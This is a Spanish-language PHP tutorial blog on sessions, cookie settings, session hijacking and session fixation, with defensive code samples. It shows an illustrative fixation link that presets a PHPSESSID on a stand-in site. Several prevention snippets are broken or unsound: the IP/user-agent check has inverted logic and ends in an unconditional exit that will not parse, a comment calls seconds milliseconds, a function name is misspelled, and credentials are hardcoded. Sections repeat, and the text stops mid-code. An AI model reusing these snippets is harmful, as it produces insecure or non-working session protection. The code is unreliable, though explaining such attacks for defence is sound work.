30 de abril de 2015

Metodos __get() y __set() PHP

Este es un ejemplo de los métodos mágicos __set() y __get() en una clase con sus respectivas validaciones utilizando el método property_exists
<?php
class Objeto {  
   private $id;  
   private $nombre;  
   private $email;  

   function __construct($id, $nombre, $email) {  
     $this->id = $id;  
     $this->nombre = $nombre;  
     $this->email = $email;  
   }  

   function __clone() {  
     $this->id = ++$this->id;  
   } 
   
   // Esta función comprueba si la propiedad especificada en $var existe en la clase especificada por __CLASS__   

   public function __set($var, $valor) {  
     if (property_exists(__CLASS__, $var)) {  
       $this->$var = $valor;  
     } else {  
       echo "No existe el atributo $var.";  
     }  
   }  

   public function __get($var) {  
     if (property_exists(__CLASS__, $var)) {  
       return $this->$var;  
     }  
     return NULL;  
   }  
 }  

 $obj = new Objeto(1, "objeto1", "prueba1@ejemplo.com");  
 $p = clone $obj;  
 echo $p->id;//2  
 $p->nombre = "nombre cambiado";  
 echo $p->nombre;//nombre cambiado 
?>

Sessiones PHP

Por omisión, PHP usa el gestor interno de almacenamiento files, el cual se establece mediante session.save_handler. Éste guarda los datos de sesión en el servidor en la ubicación especificada por la directiva de configuración session.save_path, pode defecto se encuentra en session.save_path = "c:/wamp/tmp" Para utilizar sesiones mediante el mecanismo propio de PHP (es decir, sin necesidad de crear funciones propias), la directiva session.save_handler del archivo de configuración php.ini debe tener el valor files. [Session] ; Handler used to store/retrieve data. ; http://php.net/session.save-handler session.save_handler = files Para el manejo de las sesiones tenemos un abanico de funciones que nos facilitaran su uso. Todas la variables de sesión son accesibles mediante arrays en la variable global $_SESSION. session_start: inicializa una sesión y crea el valor o identificador de la sesión. session_id: devuelve el valor de la sesión actual. session_regenerate_id: genera un nuevo identificador para la sesión actual. session_unset: limpia todas la variables de sesión registradas. session_destroy: elimina todas la variables de sesión. En PHP, las sesiones se crean mediante la función session_start(). Si la sesión no existía, esta función crea la sesión y le asocia un identificador de sesión único. Si la sesión ya existía, esta función permite que la página tenga acceso a la información vinculada a la sesión.
<?php
session_start();
?>
Como en el caso de las cookies, hay que tener la precaución de utilizar la función session_start() antes de empezar a escribir el contenido de la página, porque si no PHP producirá un aviso y no se creará la sesión. El motivo es que el idetificador de sesión se utiliza en las cabeceras de respuesta HTTP y las cabeceras se envían antes del texto de la página. Es decir, cuando PHP encuentra una instrucción que escribe texto, cierra automáticamente la cabecera; si a continuación PHP encuentra en el programa la función session_start(), da un aviso porque ya se han enviado las cabeceras y no se crea la sesión. El nombre de la sesión se encuentra en php.ini y está especificado a PHPSESSID, este valor se puede cambiar a uno más representativo desde el código teniendo en cuenta que debe especificarse en cada página que inicie sesión ; Name of the session (used as cookie name). ; http://php.net/session.name session.name = PHPSESSID El ejemplo siguiente muestra código incorrecto, ya que utiliza la función session_start() después de haber escrito texto, y el mensaje de aviso generado por PHP.
<?php
// Este código es incorrecto, la cabecera se crea después de crear texto
print "

Hola

\n"; session_start(); ?>
Genera la siguiente salida:

Hola


Warning: session_start(): Cannot send session cache limiter - headers already sent (output started at ejemplo.php:3) in ejemplo.php on line 4
En el fichero .INI hay un apartado dedicado a las sesiones; en el cual se definen ciertos valores que determinarán el comportamiento de tales. - session.use_cookies Indica si se usarán las cookies para almacenar el SID defecto: 1 - session.name Indica el nombre de la cookie que indicará el SID defecto: PHPSESSID - session.auto_start Indica si la sesión se inicializa al empezar el script automáticamente defecto: 0 - session.cookie_lifetime Indica el tiempo de vida de la cookie (si aplicable) Si 0, caduca al cerrar el explorador. defecto: 0 - session.cookie_path Indica el path o los directorios y sub directorios dentro de un sitio web en los que la cookie es válida, el valor por default es / y significa que la cookie es valida para todos los directorios y sub directorios de tu sitio web, pero si se desea que por ejemplo solo sea valida para el subdirectorio /listas dentro de www.ejemplo.com/libros entonces se debe especificar /libros en el sesión.cookie_path - session.cookie_domain Indica el dominio de la cookie para que sea válida, por defecto será el host del dominio en que se creo la sesión. - session.serialize_handler Indica el handler usado para serializar la sesión defecto: php - session.gc_probability Indica el número de veces de cada 100 que se ejecuta el recolector de basura de las sesiones. Éste proceso borra los ficheros de las sesiones que hallan caducado ya. defecto: 1 cada 100 (1%) - session.gc_maxlifetime Indica el número de segundos que deben haber pasado desde la última actualización para que se considere basura. defecto: session.gc_maxlifetime - session.referer_check Indica la cadena que debe contener la variable $HTTP_REFERER (variable que contiene la url que ha referenciado a ésta página (No todos los navegadores envían esta información)) - session.entropy_length Indica el número de bytes que se leerán del fichero - session.entropy_file Indica como crear el fichero defecto: /dev/urandom - session.cache_limiter Determina el tipo de caché HTTP nocache private public defecto: nocache - session.cache_expire Indica el tiempo en minutos para que caduque el documento defecto: 180 - session.use_trans_sid Indica si se utilizará el transid, que modificará automáticamente los enlaces por GET. defecto: 1 Crear variables de Session Cuando una página ha creado una sesión o ha accedido a una sesión ya existente mediante session_start(), la página tiene acceso a la matriz $_SESSION que contiene las variables de esa sesión, los cuales se mantienen y son accesibles desde cualquier página que inicie sesión. Si deseamos crear variables de sesión para que se puedan utilizar a través de diferentes páginas inicializamos el manejo de sesiones con la función session_start y luego guardamos el dato deseado como variable de sesión utilizando la variable global $_SESSION.
<?php
// home.php
session_start();
if (!isset($_SESSION["pais"])) {
    $_SESSION["country"] = "El Salvador"; 
}
?>
El ejemplo siguiente muestra dos páginas. La primera página guarda información en $_SESSION y la segunda la utiliza.
<?php
//Pagina1.php
session_start();
$_SESSION["nombre"] = "Pepito Conejo";
print "

Se ha guardado su nombre.

\n"; ?>
<?php
//pagina2.php
session_start();
print "

Su nombre es $_SESSION[nombre].

\n"; ?>
Los nombres de los índices de la matriz $_SESSION tienen que cumplir las mismas reglas que los nombres de las variables, es decir, que el primer carácter debe ser una letra o un guión bajo (_). Eliminando Datos de Sesion Los valores de $_SESSION se borran como en cualquier otra matriz mediante la función unset(). Uso de la función session_destroy para cerrar la sesión en PHP
<?php
  session_start();
  unset($_SESSION["nombre_usuario"]); 
  unset($_SESSION["nombre_cliente"]);
  session_destroy();
  header("Location: index.php");
  exit;
?>
Un detalle importante que distingue a las sesiones de las cookies es que: en el caso de las cookies, cuando una página pide al navegador que cree una cookie, el valor de la cookie no está disponible en $_COOKIE en esa página. Lo estará en páginas posteriores, cuando el navegador pida otra página y envíe el valor en la petición. en el caso de las sesiones, cuando una página crea un valor en $_SESSION, ese valor está disponible en esa misma página. El usuario puede destruir la sesión cerrando el navegador, pero las sesiones también se pueden destruir por programa mediante la función session_destroy(). Tipos de cookies. Cookies de sesión - son archivos de cookies temporales, que se borran cuando cierras el navegador. Cuando reinicias el navegador y vuelves al sitio que creó la cookie, la página web no te reconocerá. Tendrás que volver a iniciar sesión (si es necesario hacerlo) o seleccionar tus preferencias y temas de nuevo si el sitio utiliza esas funciones. Una cookie de sesión nueva se generará y almacenará tu información de navegación, permaneciendo activa hasta que abandones la página y cierres el navegador. Más sobre las cookies de sesión. Cookies permanentes estos archivos permanecen en una subcarpeta de tu navegador hasta que las eliminas manualmente o tu navegador las elimina de acuerdo con el período de duración establecido en el archivo de la cookie permanente más sobre cookies permanentes. session_set_cookie_params session_set_cookie_params — Establecer los parámetros de la cookie de sesión Establece los parámetros de la cookie definidos en el archivo php.ini. El efecto de esta función sólo se mantiene para la duración del script. Por lo tanto, se necesita llamar a session_set_cookie_params() por cada petición y antes de llamar a session_start(). Esta función actualiza los valores ini en tiempo de ejecución de las claves de configuración ini de PHP que pueden ser recuperadas con la función ini_get(). lifetime Tiempo de vida de la cookie de sesión, definido en segundos. path Ruta en el dominio donde la cookie trabajará. Use una barras simple ('/') para todas las rutas en el dominio. domain Dominio de la cookie, por ejemplo 'www.php.net'. Para hacer las cookies visibles en todos los sub-dominios, el dominio debe ser prefijado con un punto, como '.php.net'. secure Si es TRUE la cookie sólo será enviada sobre conexiones seguras. httponly Si es TRUE PHP intentará enviar la bandera httponly cuando se establezca la cookie de sesión. session_get_cookie_params session_get_cookie_params — Obtener los parámetros de la cookie de sesión Descripción array session_get_cookie_params ( void ) Obtiene los parámetros de la cookie de sesión. Valores devueltos Devuelve una matriz con la información de la cookie de sesión actual, la matriz contiene los siguientes elementos: "lifetime" - El tiempo de vida de la cookie en segundos. "path" - La ruta donde se almacena la información. "domain" - El dominio de la cookie. "secure" - La cookie debería ser enviada solamente sobre conexiones seguras. "httponly" - La cookie sólo puede ser accedida a través del protocolo HTTP.
<?php
function sec_session_start()
{
        $session_name = 'secure_session_main'; // Set a custom session name
        $secure = false; // Set to true if using https.
        $httponly = true; // This stops javascript being able to access the session id.
        ini_set('session.use_only_cookies', 1); // Forces sessions to only use cookies.
        $cookieParams = session_get_cookie_params(); // Gets current cookies params.
        session_set_cookie_params($cookieParams["lifetime"], $cookieParams["path"],          $cookieParams["domain"], $secure, $httponly);  
        session_name($session_name); // Sets the session name to the one set above.
        session_start(); // Start the php session
        session_regenerate_id(TRUE); // regenerated the session, delete the old one.
}
?>

Session Hijackin PHP

Session Hijacking (secuestro o robo de sesión) se refiere a que un individuo (atacante) consigue el identificador de sesión entre una página web y un usuario, de forma que puede hacerse pasar por el usuario y acceder a su cuenta en esa página web. A continuación veremos algunas de las formas en las que un atacante puede robar este identificador y técnicas para intentar prevenirlo. ATAQUE POR FUERZA BRUTA El ataque por fuerza bruta significa probar identificadores aleatoriamente hasta encontrar uno que esté siendo usado. Es como intentar abrir una caja fuerte sin saber la combinación, poniendo números al azar. Como en el caso de la caja fuerte, cuantos más números tenga la combinación (en este caso el identificador de sesión), más difícil será de adivinar. También ayuda el hecho de que el número o identificador sea aleatorio, y no algo que se pueda predecir. El sistema de identificadores de sesión de PHP es aceptable en este sentido. ROBO POR SNIFFING Este tipo de ataque se da cuando el atacante tiene un programa de sniffing en la red del usuario y puede interceptar el tráfico destinado al mismo, incluido su identificador de sesión. Es algo que ha dado mucho de que hablar a causa de Firesheep, una extensión para Firefox que permite robar las sesiones de Facebook, Twitter y otras páginas web muy conocidas en redes inalámbricas públicas. Lo solución ideal sería el uso del protocolo HTTPS que encriptaría toda nuestra conexión, pero si esto no es posible, podemos crear una serie de comprobaciones en las que intentemos asegurarnos de la real identidad de cada usuario. PROPAGACIÓN EN URL Si el identificador de sesión se propaga utilizando la URL en lugar de las cookies, cualquier atacante puede robarlo desde muchos sitios: Un enlace que el propio usuario ponga en un lugar público. Los usuarios típicos no saben para que sirve ese identificador y no le dan importancia. El historial del navegador. El referrer, que es un encabezado que envían muchos navegadores a las páginas web en el que les indican la URL de la que vienen. La forma de prevenir esto es no utilizar la URL para el identificador de sesión; sino mas bien asegurarse que el sid del usuario viaje a través de cookies y únicamente cookies. En PHP esto se consigue con la instrucción:
<?php
ini_set('session.use_trans_sid',0);            // no utilizar URL para sid
ini_set('session.use_only_cookies',1);     // utilizar cookies para enviar sid
?>
tambien de ser possible especificar set session.cookie_secure a true, lasdos recomendaciones anteriores pueden trabajarse desde session_set_cookie_params. ROBO EN SERVIDOR COMPARTIDO Si tenemos nuestra página web alojada en un servidor compartido, los archivos físicos de las sesiones se guardan, por defecto, en un directorio común para todas las páginas web del servidor. Esto quiere decir que todas las personas que tengan su página web en ese mismo servidor, tienen acceso a todos los archivos de sesiones. Dado que el nombre de los archivos es "sess_" más el identificador de sesión, cualquier atacante tendrá una lista de identificadores de sesión válidos con sólo leer la lista de archivos del directorio común. Esta vulnerabilidad se puede combatir de dos formas: Usando la función session_save_path para guardar los archivos de sesión de la página web en un directorio dentro de su cuenta al que sólo pueda acceder PHP (ya sea por estar fuera del directorio web o con un .htaccess con la instrucción deny from all). Este método no es demasiado fiable, ya que el resto de usuarios seguirá pudiendo leer en ese directorio, sólo tienen que averiguar su localización. Guardando las sesiones en base de datos en lugar de en archivos. Esto se consigue fácilmente usando la función session_set_save_handler. Esta solución es la más segura ya que la página web será la única que tendrá acceso a la base de datos y, por tanto, a las sesiones. ROBO POR CROSS-SITE SCRIPTING Si la página web es vulnerable a XSS el atacante puede insertar un código javascript que envíe las cookies de un usuario a su cuenta. Este tipo de ataque se puede prevenir (además de evitando los ataques XSS) haciendo que las cookies de sesión tengan el atributo HttpOnly, que evita que puedan ser manejadas por javascript en la mayoría de navegadores. En PHP esto se consigue con la instrucción:
<?php
ini_set('session.cookie_httponly', 1);
?>
MÉTODOS DE PREVENCIÓN GENERALES Ten cuidado donde guardas la informacion de la sesión del usuario, por omisión, PHP usa el gestor interno de almacenamiento files, el cual se establece mediante session.save_handler. Éste guarda los datos de sesión en el servidor en la ubicación especificada por la directiva de configuración session.save_path, pode defecto se encuentra en session.save_path = "c:/wamp/tmp" Revisa tu php.ini y define un identificador de hash para la función HASH(), aunque recuerda que también puedes especificar el método en código ; Select a hash function for use in generating session ids. ; Possible Values ; 0 (MD5 128 bits) ; 1 (SHA-1 160 bits) ; This option may also be set to the name of any hash function supported by ; the hash extension. A list of available hashes is returned by the hash_algos() ; function. ; http://php.net/session.hash-function session.hash_function = 0 Además de los métodos de prevención concretos vistos para cada tipo de ataque, vamos a ver algunas técnicas de prevención que ayudan a evitar el robo de las sesiones: Descomenta y define un fuerte hash en php.ini, un nivel 5 es suficiente ; session.hash_bits_per_character ; Default Value: 4 ; Development Value: 5 ; Production Value: 5 Utiliza entropy para generar tus SID, desde php.ini establece un valor distinto para session.entropy_length y descomenta el session.entropy_file ; How many bytes to read from the file. ; http://php.net/session.entropy-length session.entropy_length = 0 ; Specified here to create the session id. ; http://php.net/session.entropy-file ; Defaults to /dev/urandom ; On systems that don't have /dev/urandom but do have /dev/arandom, this will default to /dev/arandom ; If neither are found at compile time, the default is no entropy file. ; On windows, setting the entropy_length setting will activate the ; Windows random source (using the CryptoAPI) ;session.entropy_file = /dev/urandom Verifica que tus datos de sesión no se guarden en cache, la información a la que se refiere es a los headers que se envía en cada petición ; Set to {nocache,private,public,} to determine HTTP caching aspects ; or leave this empty to avoid sending anti-caching headers. ; http://php.net/session.cache-limiter session.cache_limiter = nocache Limitar tiempo de inactividad: session_cache_expire: Devuelve la caducidad de la caché actual, La caducidad de la caché se reinicia al valor predeterminado de 180 minutos almacenado en session.cache_expire en el momento de iniciar una petición. Por lo tanto, se necesita llamar a session_cache_expire() por cada petición (y antes de llamar a session_start()),la información a la que se refiere es a los headers que se envía en cada petición desde php.ini puedes establecer un tiempo prudente ; Document expires after n minutes. ; http://php.net/session.cache-expire session.cache_expire = 180 En el php.ini esta un atributo llamado 'session.cookie_lifetime', si está en 0 va a durar hasta que el navegador se cierre tambien puedes indicar cuanto debe durar la cookie de sesion, en esta línea session.gc_maxlifetime = 1440 que esta dado en segundos, cambias el 1440 por el número de segundos que estimes conveniente. Si no tienes acceso al php.ini puedes utilizar session_set_cookie_params con su parámetro respectivo que es lifetime en este caso se termina sesión cuando el usuario cierra el explorador web:
<?php
session_set_cookie_params(0);
session_start();
?>
Para que funcione debes eliminar debidamente las cookies de session cuando un usuario termine session. Este script maneja valida el tiempo establecido de vida para una sesión, en caso de que la validación haya expirado destruye la sesión y redirige al usuario al área de login para que vuelva a registrarse , el siguiente código debe colocarse en la página de inicio de sesión
<?php
session_start(); 
$_SESSION['tiempo']=time();  
?>
Este script deberá colocarse en toda página que requiera una sesión de usuario autorizada
<?php
session_start(); 
include('archivo.php'); 
..... 
..... 
?>
Y este será el contenido de archivo.php que se encargara de cerrar una sesión si es que esta ha expirado de acuerdo a un tiempo establecido por nosotros a conveniencia
<?php
$time = 3600; // una hora en mili-segundos 

// verificamos si existe la sesión 
// el nombre "session_name" es como ejemplo 
if(isset($_SESSION["session_name"])) 
{ 
      // verificamos si existe la sesión que se encarga del tiempo 
      // si existe, y el tiempo es mayor que una hora, expiramos la sesión  
      if(isset($_SESSION["expire"]) && time() > $_SESSION["expire"] + $time) 
      { 
           echo'';  
       // también puedes utilizar header(“Location:index.php”);
         
     // destruir informacion de session en el server
 
          unset($_SESSION["expire"]); 
          unset($_SESSION["session_name"]); 
         session_unset();
         session_destroy(); 

// destruir informacion de session en el cliente 
$session_cookie_params = session_get_cookie_params(); 
setcookie(session_name(), '', time() - 24 * 3600, $session_cookie_params['path'], $session_cookie_params['domain'], $session_cookie_params['secure'], $session_cookie_params['httponly']); 

// Limpiar el array $_SESSION
$_SESSION = array();  

      } 
      // creamos o redefinimos el valor de la variable de session 
      else 
      { 
           $_SESSION["expire"] = time(); 
       } 
} 
?>
Cambiar el identificador de sesión. Cada cierto tiempo o después de cada acción, cambiar el identificador de la sesión por otro distinto y eliminar la sesión antigua, aparte se debe generar nuevos IDs de sesión para distintos clientes. El programa del lado del servidor nunca debería usar IDs entregados por el browser para un usuario logueado, esto es, una vez que el usuario se loguea en el sistema, éste debería generar automáticamente un nuevo ID de sesión y utilizar éste en el futuro. Desde el código que realiza el login debería utilizarse sesion_regenerate_id() a fin de no utilizar el que por defecto entrega PHP
<?php
if(($_POST['user'] == "demasiadovivo") && ($_POST['pass'] == "123456"))  
{  
    session_regenerate_id(true);  
    $_SESSION['user'] = "demasiadovivo";      
}  
?>
La función session_regenerate_id() crea un nuevo ID de sesión. De ésta forma, por más que hayamos usado un ID insertado por el atacante antes de loguearnos, una vez logueados utilizaremos un ID totalmente distinto y desconocido por el atacante. Otra opción es regenerar los identificadores de sesión para sesiones nuevas. Esto se consigue poniendo una "marca" en las sesiones de la página web. Cada vez que se hace un session_start(), si la sesión no tiene la "marca", cambiamos su identificador por uno nuevo (session_regenerate_id(true);) y desconocido para el atacante. Ejemplo:
<?php
session_start();

if (isset($_SESSION['mark']) === false)
{
 session_regenerate_id(true);
 $_SESSION['mark'] = true;
}
?>
Cambiar el identificador de sesión siempre que un usuario cambie su estado (autenticado, registrado, ...). Con la anterior medida de protección puede parecer que ya estamos protegidos, pero un atacante puede entrar en la página web, generar una sesión con "marca" y después mandar el identificador de esa sesión al usuario atacado. Así el usuario atacado acabaría con una sesión con "marca" y conocida por el atacante. Por eso, se debe regenerar el identificar de sesión siempre que un usuario realice una acción que le obligue a autenticarse. Ejemplo:
<?php
if ($user_logged_in === true)
{
 session_regenerate_id(true);
 $_SESSION['logged'] = true;
}
?>
Aviso: es muy importante que sea session_regenerate_id(true); y no session_regenerate_id(); ya que si no eliminamos la sesión antigua, estamos haciendo más fácil los ataques contra la página web al dejar múltiples sesiones válidas abiertas en el servidor. Sistema de logout: dar a los usuarios una forma de salir de su cuenta y destruir la sesión. Dentro de tu página coloca visiblemente un espacio con la opción de salir para un usuario registrado y coloca este código
<?php
// destruir informacion de session en el server
session_unset();
session_destroy(); 

// destruir información de session en el cliente 
$session_cookie_params = session_get_cookie_params(); 
setcookie(session_name(), '', time() - 24 * 3600, $session_cookie_params['path'], $session_cookie_params['domain'], $session_cookie_params['secure'], $session_cookie_params['httponly']); 

// Limpiar el array $_SESSION
$_SESSION = array();  
?>
Verificación doble. Usar un segundo método para intentar reconocer al usuario de la sesión. Esto puede hacerse guardando cabeceras como HTTP_USER_AGENT (navegador del usuario) o REMOTE_ADDR (IP del usuario) cuando se crea la sesión, de esta forma: Para ello podemos guardar una serie de variables de sesión de los datos que el usuario nos proporciona en cada visita, como son la dirección IP o la información de su navegador, etc. Si estos cambian significaría que es un intento de session hijacking y por tanto es un usuario que realiza un ataque. En el siguiente ejemplo tenemos dos archivos, en el que en el primer archivo realizamos un login satisfactorio y guardamos los datos iniciales de dirección IP y tipo del navegador con el que lo hemos hecho:
<?php
session_start();
$_SESSION['REMOTE_ADDR'] = $_SERVER['REMOTE_ADDR'];
$_SESSION['HTTP_USER_AGENT'] = $_SERVER['HTTP_USER_AGENT'];
?>
En pantallas posteriores, comprobaremos si en cada pantalla los datos actuales de dirección IP y datos del navegador se corresponden con los que se realizó el login como usuario en la web:
<?php
session_start();
if($_SESSION['REMOTE_ADDR'] != $_SERVER['REMOTE_ADDR'] || $_SESSION['HTTP_USER_AGENT'] != $_SERVER['HTTP_USER_AGENT']) {
    exit();
}
?>
Una aplicación de las medidas expuestas anteriormente es:
<?php
// obtener siempre esta info en cada pagina
$aip = $_SERVER['REMOTE_ADDR'];
$bip = $_SERVER['HTTP_X_FORWARDED_FOR'];
$agent = $_SERVER['HTTP_USER_AGENT'];
session_start();

// crear cuando el usuario se loguee
$_SESSION['ident'] = hash("sha256", $aip . $bip . $agent);

// verificar en cada pagina que requiera usuario registrado
if(!isset($_SESSION['ident'])){

// hacer esto en cada pagina que visite un usuario registrado
$ident = hash("sha256", $aip . $bip . $agent);
if ($ident != $_SESSION['ident'])
{
    end_session();
    header("Location: login.php");
}
}
Exit(“Intento de Hijacking”);
?>
Un ejemplo más sencillo podría ser
<?php
session_start();

if (isset($_SESSION['HTTP_USER_AGENT']))
{
    if ($_SESSION['HTTP_USER_AGENT'] != md5($_SERVER['HTTP_USER_AGENT']))
    {
        /* Prompt for password */
        exit;
    }
}
else
{
    $_SESSION['HTTP_USER_AGENT'] = md5($_SERVER['HTTP_USER_AGENT']);
}
?>
O bien crear una function
<?php
static protected function preventHijacking()
{
 if(!isset($_SESSION['IPaddress']) || !isset($_SESSION['userAgent']))
  return false;

 if ($_SESSION['IPaddress'] != md5($_SERVER['REMOTE_ADDR']))
  return false;

 if( $_SESSION['userAgent'] != md5($_SERVER['HTTP_USER_AGENT']))
  return false;

 return true;
}
?>
Otra forma de prevenir hijacking es verificando el $_SERVER['HTTP_REFERER'] pero antes de utilizarlo dale una ojeada a esto: The address of the page (if any) which referred the user agent to the current page. This is set by the user agent. Not all user agents will set this, and some provide the ability to modify HTTP_REFERER as a feature. In short, it cannot really be trusted. http://php.net/manual/en/reserved.variables.server.php Igual aqui dejo el codigo
<?php
if(isset($_SERVER['HTTP_REFERER']) && (strpos($_SERVER['HTTP_REFERER'], "http://tu_direccion") === 0)) {
  echo "sigues con tus validaciones, no confies plenamente";   
   }
else
{
   echo "Busca otra forma de validar";
}
?>

Caducar sessiones PHP

En el php.ini esta un atributo llamado 'session.cookie_lifetime', si está en 0 va a durar hasta que el navegador se cierre tambien puedes indicar cuanto debe durar la cookie de sesion, en esta línea session.gc_maxlifetime = 1440 que esta dado en segundos, cambias el 1440 por el número de segundos que estimes conveniente. Si no tienes acceso al php.ini puedes utilizar session_set_cookie_params con su parametro respectivo que es lifetime en este caso se termina sesión cuando el usuario cierra el explorador web:
<?php
session_set_cookie_params(0);
session_start();
?>
Para que funcione debes eliminar debidamente las cookies de session cuando un usuario termine session. Este script maneja valida el tiempo establecido de vida para una sesión, en caso de que la validación haya expirado destruye la sesión y redirige al usuario al área de login para que vuelva a registrarse , el siguiente código debe colocarse en la página de inicio de sesión
<?php
session_start(); 
$_SESSION['tiempo']=time();  
?>
Este script deberá colocarse en toda página que requiera una sesión de usuario autorizada
<?php
session_start(); 
include('archivo.php'); 
..... 
..... 
?>
Y este será el contenido de archivo.php que se encargara de cerrar una sesión si es que esta ha expirado de acuerdo a un tiempo establecido por nosotros a conveniencia
<?php
$time = 3600; // una hora en mili-segundos 

// verificamos si existe la sesión 
// el nombre "session_name" es como ejemplo 
if(isset($_SESSION["session_name"])) 
{ 
      // verificamos si existe la sesión que se encarga del tiempo 
      // si existe, y el tiempo es mayor que una hora, expiramos la sesión  
      if(isset($_SESSION["expire"]) && time() > $_SESSION["expire"] + $time) 
      { 
           echo'';  
       // también puedes utilizar header(“Location:index.php”);
         
     // destruir informacion de session en el server
 
          unset($_SESSION["expire"]); 
          unset($_SESSION["session_name"]); 
         session_unset();
         session_destroy(); 

// destruir informacion de session en el cliente 
$session_cookie_params = session_get_cookie_params(); 
setcookie(session_name(), '', time() - 24 * 3600, $session_cookie_params['path'], $session_cookie_params['domain'], $session_cookie_params['secure'], $session_cookie_params['httponly']); 

// Limpiar el array $_SESSION
$_SESSION = array();  

      } 
      // creamos o redefinimos el valor de la variable de session 
      else 
      { 
           $_SESSION["expire"] = time(); 
       } 
} 
?>

29 de abril de 2015

Session Fixation PHP

Session fixation Session fixation (fijación de sesión) es un método de Session hijacking (robo de sesión) un poco especial, ya que, si normalmente en el robo de sesión se intenta conseguir el identificador de sesión de un usuario ya autenticado, la fijación de sesión se basa en asignar un identificador de sesión conocido a un usuario antes de que se autentique. Lo malo de este ataque es que es muy fácil de realizar. Lo bueno, es que es muy fácil de prevenir. Supongamos que la página web atacada utiliza el nombre de sesión por defecto en PHP: PHPSESSID. El atacante sólo tiene que crear un enlace a la página web objetivo de esta forma: http://www.web-atacada.com/?PHPSESSID=123456 Después, sólo tiene que hacer que el usuario al que quiere atacar utilice ese enlace para acceder a la página web. Esto se puede conseguir de varias formas: enviándole el enlace por email, a través de una red social o, incluso, sin que el usuario se dé cuenta, haciendo una redirección desde una página web del atacante. Una vez que el usuario utiliza este enlace, le está diciendo a la página web que su identificador de sesión es 123456. PHP al comprobar que no existe una sesión con ese identificador, la crea y se la asigna al usuario. Si este se autentica en el sitio, el atacante, que conoce su identificador de sesión (123456), puede hacerse con su cuenta haciéndose pasar por él. Atención: aunque la página web utilice cookies para la propagación del identificador de sesión, normalmente la configuración de PHP acepta el identificador en la URL (después lo propaga a través de cookies pero cuando ya ha creado la sesión con ese identificador). También hay que tener en cuenta que un atacante puede (con técnicas mucho más avanzadas y aprovechando errores en las directivas de seguridad de los navegadores) realizar este ataque insertando una cookie al usuario. Aunque es la forma más sencilla, este ataque no se limita sólo a la propagación por URL. MÉTODOS DE PREVENCIÓN Si bien es un ataque que se puede realizar fácilmente, la prevención es igualmente fácil. Podemos tomar las siguientes medidas: Ten cuidado donde guardas la informacion de la sesión del usuario, por omisión, PHP usa el gestor interno de almacenamiento files, el cual se establece mediante session.save_handler. Éste guarda los datos de sesión en el servidor en la ubicación especificada por la directiva de configuración session.save_path, pode defecto se encuentra en session.save_path = "c:/wamp/tmp" Utilizar únicamente cookies para la propagación del identificador de sesión. Esta medida no anula el peligro, pero hace más difícil el ataque (y muchos otros). En PHP se consigue así:
<?php
ini_set( 'session.use_only_cookies', TRUE );    
ini_set( 'session.use_trans_sid', FALSE );
?>
Tener en cuenta que el codigo anterior se debe incluir al principio de cada script php pero tambien pueden definirise en php.ini, lo que se busca es que la informacion sid del usuario no pueda obtenerse mediante $_GET['PHPSESSID'] sino solamente a traves de cookies, tambien se especifica a off el session.use_trans_sid para evitar leaking session ID en las URL’s Aparte se debe generar nuevos IDs de sesión para distintos clientes. El programa del lado del servidor nunca debería usar IDs entregados por el browser para un usuario logueado, esto es, una vez que el usuario se loguea en el sistema, éste debería generar automáticamente un nuevo ID de sesión y utilizar éste en el futuro. Desde el código que realiza el login debería utilizarse sesion_regenerate_id() a fin de no utilizar el que por defecto entrega PHP
<?php
if(($_POST['user'] == "demasiadovivo") && ($_POST['pass'] == "123456"))  
{  
    session_regenerate_id(true);  
    $_SESSION['user'] = "demasiadovivo";      
}  
?>
La función session_regenerate_id() crea un nuevo ID de sesión. De ésta forma, por más que hayamos usado un ID insertado por el atacante antes de loguearnos, una vez logueados utilizaremos un ID totalmente distinto y desconocido por el atacante. Otra opción es regenerar los identificadores de sesión para sesiones nuevas. Esto se consigue poniendo una "marca" en las sesiones de la página web. Cada vez que se hace un session_start(), si la sesión no tiene la "marca", cambiamos su identificador por uno nuevo (session_regenerate_id(true);) y desconocido para el atacante. Ejemplo:
<?php
session_start();

if (isset($_SESSION['mark']) === false)
{
 session_regenerate_id(true);
 $_SESSION['mark'] = true;
}
?>
Cambiar el identificador de sesión siempre que un usuario cambie su estado (autenticado, registrado, ...). Con la anterior medida de protección puede parecer que ya estamos protegidos, pero un atacante puede entrar en la página web, generar una sesión con "marca" y después mandar el identificador de esa sesión al usuario atacado. Así el usuario atacado acabaría con una sesión con "marca" y conocida por el atacante. Por eso, se debe regenerar el identificar de sesión siempre que un usuario realice una acción que le obligue a autenticarse. Ejemplo:
<?php
if ($user_logged_in === true)
{
 session_regenerate_id(true);
 $_SESSION['logged'] = true;
}
?>
Aviso: es muy importante que sea session_regenerate_id(true); y no session_regenerate_id(); ya que si no eliminamos la sesión antigua, estamos haciendo más fácil los ataques contra la página web al dejar múltiples sesiones válidas abiertas en el servidor.

Definir un tiempo de vida a la variable de sesión de PHP. Después de dar algunas pautas contra los ataques más usuales de robo de las sesiones, otra buena práctica es definir un tiempo de vida a las sesiones para que un usuario logueado no se quede “dormido” con la sesión abierta. En nuestra aplicación tendrá un limite de tiempo y cuando se agote se redireccionará a una página web para su nuevo acceso a la plataforma y creación de una nueva sesión. xxxxxxxx

Definir un tiempo de inactividad de session En el php.ini esta un atributo llamado 'session.cookie_lifetime', si está en 0 va a durar hasta que el navegador se cierre tambien puedes indicar cuanto debe durar la cookie de sesion, en esta línea session.gc_maxlifetime = 1440 que esta dado en segundos, cambias el 1440 por el número de segundos que estimes conveniente. Si no tienes acceso al php.ini puedes utilizar session_set_cookie_params con su parámetro respectivo que es lifetime en este caso se termina sesión cuando el usuario cierra el explorador web:
<?php
session_set_cookie_params(0);
session_start();
?>
Para que funcione debes eliminar debidamente las cookies de session cuando un usuario termine session. Este script maneja valida el tiempo establecido de vida para una sesión, en caso de que la validación haya expirado destruye la sesión y redirige al usuario al área de login para que vuelva a registrarse , el siguiente código debe colocarse en la página de inicio de sesión
<?php
session_start(); 
$_SESSION['tiempo']=time();  
?>
Este script deberá colocarse en toda página que requiera una sesión de usuario autorizada
<?php
session_start(); 
include('archivo.php'); 
..... 
..... 
?>
Y este será el contenido de archivo.php que se encargara de cerrar una sesión si es que esta ha expirado de acuerdo a un tiempo establecido por nosotros a conveniencia
<?php
$time = 3600; // una hora en mili-segundos 

// verificamos si existe la sesión 
// el nombre "session_name" es como ejemplo 
if(isset($_SESSION["session_name"])) 
{ 
      // verificamos si existe la sesión que se encarga del tiempo 
      // si existe, y el tiempo es mayor que una hora, expiramos la sesión  
      if(isset($_SESSION["expire"]) && time() > $_SESSION["expire"] + $time) 
      { 
           echo'';  
       // también puedes utilizar header(“Location:index.php”);
         
     // destruir informacion de session en el server
 
